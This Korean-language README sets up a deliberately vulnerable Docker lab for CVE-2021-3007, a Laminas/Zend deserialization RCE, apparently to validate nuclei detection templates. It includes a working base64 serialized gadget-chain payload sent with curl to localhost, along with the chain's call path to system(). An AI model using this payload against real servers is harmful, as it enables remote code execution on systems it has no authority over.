
CVE-2021-3007 취약한 테스트 환경 - Laminas/Zend Framework 역직렬화 RCE
| 속성 | 값 |
|---|
| CVE ID | CVE-2021-3007 |
| 심각도 | 치명적 (CVSS 9.8) |
| 유형 | 안전하지 않은 역직렬화 → RCE |
| 영향을 받는 버전 | Laminas HTTP < 2.14.2, Zend Framework 3.0.0 |
| CWE | CWE-502 (신뢰할 수 없는 데이터의 역직렬화) |
# Clone repository
git clone https://github.com/KrE80r/CVE-2021-3007-vulnerable
cd CVE-2021-3007-vulnerable
# Start vulnerable environment
docker-compose up -d
# Verify it's running
curl http://localhost:8080
# Test with nuclei (optional)
nuclei -t CVE-2021-3007.yaml -u http://localhost:8080
# Cleanup
docker-compose down
docker-compose up -d && sleep 3 && curl -s http://localhost:8080 | head -1
# Send serialized payload triggering RCE
curl -X POST http://localhost:8080/ \
-d "data=TzoyODoiTGFtaW5hc1xIdHRwXFJlc3BvbnNlXFN0cmVhbSI6Mjp7czoxMDoiACoAY2xlYW51cCI7YjoxO3M6MTM6IgAqAHN0cmVhbU5hbWUiO086Mjg6IkxhbWluYXNcVmlld1xIZWxwZXJcR3JhdmF0YXIiOjI6e3M6NzoiACoAdmlldyI7TzozMzoiTGFtaW5hc1xWaWV3XFJlbmRlcmVyXFBocFJlbmRlcmVyIjoxOntzOjQ0OiIATGFtaW5hc1xWaWV3XFJlbmRlcmVyXFBocFJlbmRlcmVyAF9faGVscGVycyI7TzoyMToiTGFtaW5hc1xDb25maWdcQ29uZmlnIjoxOntzOjc6IgAqAGRhdGEiO2E6Mjp7czoxMDoiZXNjYXBlaHRtbCI7czo2OiJzeXN0ZW0iO3M6MTQ6ImVzY2FwZWh0bWxhdHRyIjtzOjE3OiJmaWxlX2dldF9jb250ZW50cyI7fX19czoxMzoiACoAYXR0cmlidXRlcyI7YToxOntzOjIyOiJlY2hvIG51Y2xlaUNWRTIwMjEzMDA3IjtpOjE7fX19"
# Expected: Response contains "nucleiCVE20213007" confirming RCE
예상: 응답에 "nucleiCVE20213007"이 포함되어 RCE를 확인합니다.
Laminas\Http\Response\Stream::__destruct()
└─► Laminas\View\Helper\Gravatar::__toString()
└─► Laminas\View\Renderer\PhpRenderer::plugin()
└─► Laminas\Config\Config::get()
└─► system() / file_get_contents()
| 패키지 | 버전 | 용도 |
|---|---|---|
| laminas/laminas-http | 2.14.1 | 취약한 HTTP 구성 요소 |
| laminas/laminas-view | 2.12.0 | Gadget 체인 구성 요소 |
| laminas/laminas-config | 3.7.0 | Gadget 체인 구성 요소 |
애플리케이션은 POST를 통해 직렬화된 데이터를 받습니다.
/ 또는 /index.phpdata, payload, serialized| 구성 요소 | 값 |
|---|---|
| 베이스 이미지 | php:8.1-apache |
| 포트 | 8080 |
| 컨테이너 | cve-2021-3007-vulnerable |
.
├── Dockerfile # 컨테이너 빌드 구성
├── docker-compose.yml # 오케스트레이션 (일회성 설정)
├── index.php # 취약한 PHP 애플리케이션
├── LICENSE # MIT 라이선스
└── README.md # 이 파일
경고: 이 환경은 보안 테스트 목적으로만 의도적으로 취약하게 만들어졌습니다.
금지 사항:
권장 사항:
MIT 라이선스 - 보안 연구 및 교육 목적으로만 사용.
nuclei 템플릿 검증을 위해 작성됨 | projectdiscovery/nuclei-templates